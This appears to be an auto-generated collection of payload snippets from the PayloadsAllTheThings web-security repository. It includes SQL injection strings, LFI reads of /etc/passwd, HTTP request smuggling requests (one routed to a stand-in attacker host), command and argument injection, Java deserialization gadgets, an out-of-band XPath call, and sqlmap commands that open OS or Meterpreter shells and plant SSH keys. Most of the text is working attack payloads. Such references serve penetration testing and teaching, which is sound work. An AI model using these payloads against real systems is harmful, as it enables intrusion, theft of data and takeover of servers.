### GraphQL GET Request Examples
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md
Examples of using GET requests to query GraphQL endpoints.
```js
GET /graphql?query={yourQueryHere}
GET /graphql?query={__schema{types{name}}}
GET /graphiql?query={__schema{types{name}}}
GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
```
--------------------------------
### Install and Run wsrepl
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md
Install the wsrepl tool via pip and execute it with a target URL and authentication plugin.
```ps1
pip install wsrepl
wsrepl -u URL -P auth_plugin.py
```
--------------------------------
### GraphQL POST Request Example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/GraphQL Injection/README.md
Example of a standard POST request to a GraphQL endpoint.
```js
POST /graphql/v1 HTTP/1.1
Host: example.com
Content-Type: application/json
{
"query": "query { user { id name } }"
}
```
--------------------------------
### LFI Path Traversal Example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/README.md
Example of accessing /etc/passwd using path traversal via the page parameter.
```powershell
http://example.com/index.php?page=../../../etc/passwd
```
--------------------------------
### Example machineKey configuration
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/IIS-Machine-Keys.md
A sample machineKey configuration as provided in Microsoft documentation.
```xml
```
--------------------------------
### Start ws-harness
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Web Sockets/README.md
Launch the ws-harness tool to listen on a WebSocket endpoint using a specified message template.
```powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```
--------------------------------
### CL.TE Vulnerability Example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Request Smuggling/README.md
An example of a CL.TE request targeting domain.example.com.
```powershell
POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
--------------------------------
### Get Meterpreter Shell with SQLmap
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md
Uses the --os-pwn flag to attempt to establish a Meterpreter session.
```ps1
sqlmap -u "http://example.com/?id=1" -p id --os-pwn
```
--------------------------------
### Install vulnerable PyJWT version
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/JSON Web Token/README.md
Install the specific version of PyJWT required to perform the key confusion attack.
```bash
pip install pyjwt==0.4.3
```
--------------------------------
### MSSQL Blind Substring examples
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MSSQL Injection.md
Examples of using SUBSTRING and related functions for blind data extraction.
```sql
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
```
--------------------------------
### Get OS Shell with SQLmap
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md
Attempts to gain an interactive operating system shell on the target server.
```ps1
sqlmap -u "http://example.com/?id=1" -p id --os-shell
```
--------------------------------
### Get SQL Shell with SQLmap
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md
Opens an interactive SQL shell on the target database.
```ps1
sqlmap -u "http://example.com/?id=1" -p id --sql-shell
```
--------------------------------
### HTTP Parameter Pollution Request Examples
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/HTTP Parameter Pollution/README.md
Examples of requests using duplicate parameters to test server-side behavior.
```ps1
/app?debug=false&debug=true
/transfer?amount=1&amount=5000
```
--------------------------------
### Final HTTP Request Smuggling payload example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Account Takeover/README.md
An example of a final request structure using chunked transfer encoding to perform the smuggling attack.
```powershell
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1
X: X
```
--------------------------------
### Hardcoded API Key Example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/API Key Leaks/README.md
Demonstrates an example of an API key directly hardcoded in Python source code.
```py
# Example of hardcoded API key
api_key = "1234567890abcdef"
```
--------------------------------
### Execute Marshalsec Marshaller Payloads
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Deserialization/Java.md
These commands show how to use the marshalsec tool to generate or test payloads for various marshallers. It includes examples for running specific gadgets and starting an LDAP reference server for JNDI exploitation.
```bash
$ java -cp marshalsec.jar marshalsec. [-a] [-v] [-t] [ []]
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
// -a - generates/tests all payloads for that marshaller
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
// -v - verbose mode, e.g. also shows the generated payload in test mode.
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
// arguments - Gadget specific arguments
```
--------------------------------
### psql Argument Injection
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md
Example of injecting arguments into the psql command line.
```ps1
psql -o'|id>/tmp/foo'
```
--------------------------------
### Turbo Intruder Example 1
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Race Condition/README.md
A basic template for Turbo Intruder to queue 30 requests and release them using a gate. Requires the x-request header to be set to %s.
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
--------------------------------
### SSRF URLs and Commands for Docker
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Server Side Request Forgery/SSRF-Cloud-Instances.md
These examples target the Docker Engine API via network or Unix socket.
```bash
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
--------------------------------
### TE.CL Vulnerability Example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Request Smuggling/README.md
An example of a TE.CL request. Ensure 'Update Content-Length' is unchecked in Burp Repeater and include the trailing sequence \r\n\r\n after the final 0.
```powershell
POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
```
--------------------------------
### X-Forwarded-For Header Example
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Reverse Proxy Misconfigurations/README.md
Example of an X-Forwarded-For header containing a chain of IP addresses.
```ps1
X-Forwarded-For: 2.21.213.225, 104.16.148.244, 184.25.37.3
```
--------------------------------
### Example .git/logs/HEAD content
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Source Code Management/Git.md
This shows the structure of the .git/logs/HEAD file, which contains commit history and references.
```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael 1489390332 +0000 commit: Prevent directory listing.
```
--------------------------------
### Joomla! Component Web TV 1.0 CVE-2010-1470
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/README.md
Exploitation example for Joomla! Component Web TV 1.0 using a null byte.
```ps1
{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
```
--------------------------------
### PHP php://filter usage examples
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/File Inclusion/Wrappers.md
Examples of using php://filter to read and encode files via URL parameters. The wrapper is case-insensitive.
```powershell
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
--------------------------------
### Get SSH Shell with SQLmap
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/SQLmap.md
Writes an SSH public key to the target server to facilitate SSH access.
```ps1
sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```
--------------------------------
### Chrome Argument Injection
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md
Example of injecting arguments into the Chrome command line.
```ps1
chrome '--gpu-launcher="id>/tmp/foo"'
```
--------------------------------
### Reverse Proxy URL Implementation Traversal
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Directory Traversal/README.md
Example of using Nginx/Tomcat path traversal differences.
```powershell
..;//
```
--------------------------------
### Cassandra Login Bypass Example 2
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/Cassandra Injection.md
An example of a login bypass payload using comment syntax to manipulate the query structure.
```sql
username: admin'/*
password: */and pass>'
```
```sql
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;
```
--------------------------------
### Basic Command Execution Output
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Command Injection/README.md
Example output of the cat command used to read the /etc/passwd file.
```powershell
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...
```
--------------------------------
### Inspect and attack version 1 GUIDs with guidtool
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Insecure Randomness/README.md
Use guidtool to inspect a version 1 GUID and to perform operations with specific timestamps and clock sequences.
```ps1
$ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
UUID version: 1
UUID time: 2022-04-13 08:06:13.202186
UUID timestamp: 138691299732021860
UUID node: 91754721024
UUID MAC address: 00:15:5d:01:ef:00
UUID clock sequence: 2099
$ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
```
--------------------------------
### Out of Band XPath exploitation
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/XPATH Injection/README.md
Example of using doc() to perform out-of-band exploitation.
```powershell
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
```
--------------------------------
### MySQL Blind SQL Injection with Conditional Sleep (False)
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md
A false condition example using IF and sleep to test if the MySQL version starts with 4.
```sql
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```
--------------------------------
### MySQL Blind SQL Injection with Conditional Sleep (True)
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/SQL Injection/MySQL Injection.md
A true condition example using IF and sleep to confirm the MySQL version starts with 5.
```sql
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```
--------------------------------
### IE8 XSS Filter Evasion via Parameter Injection
Source: https://github.com/swisskyrepo/payloadsallthethings/blob/master/Clickjacking/README.md
An example of an attacker inducing a false positive in the IE8 XSS filter by injecting the start of a frame busting script into a request parameter.
```html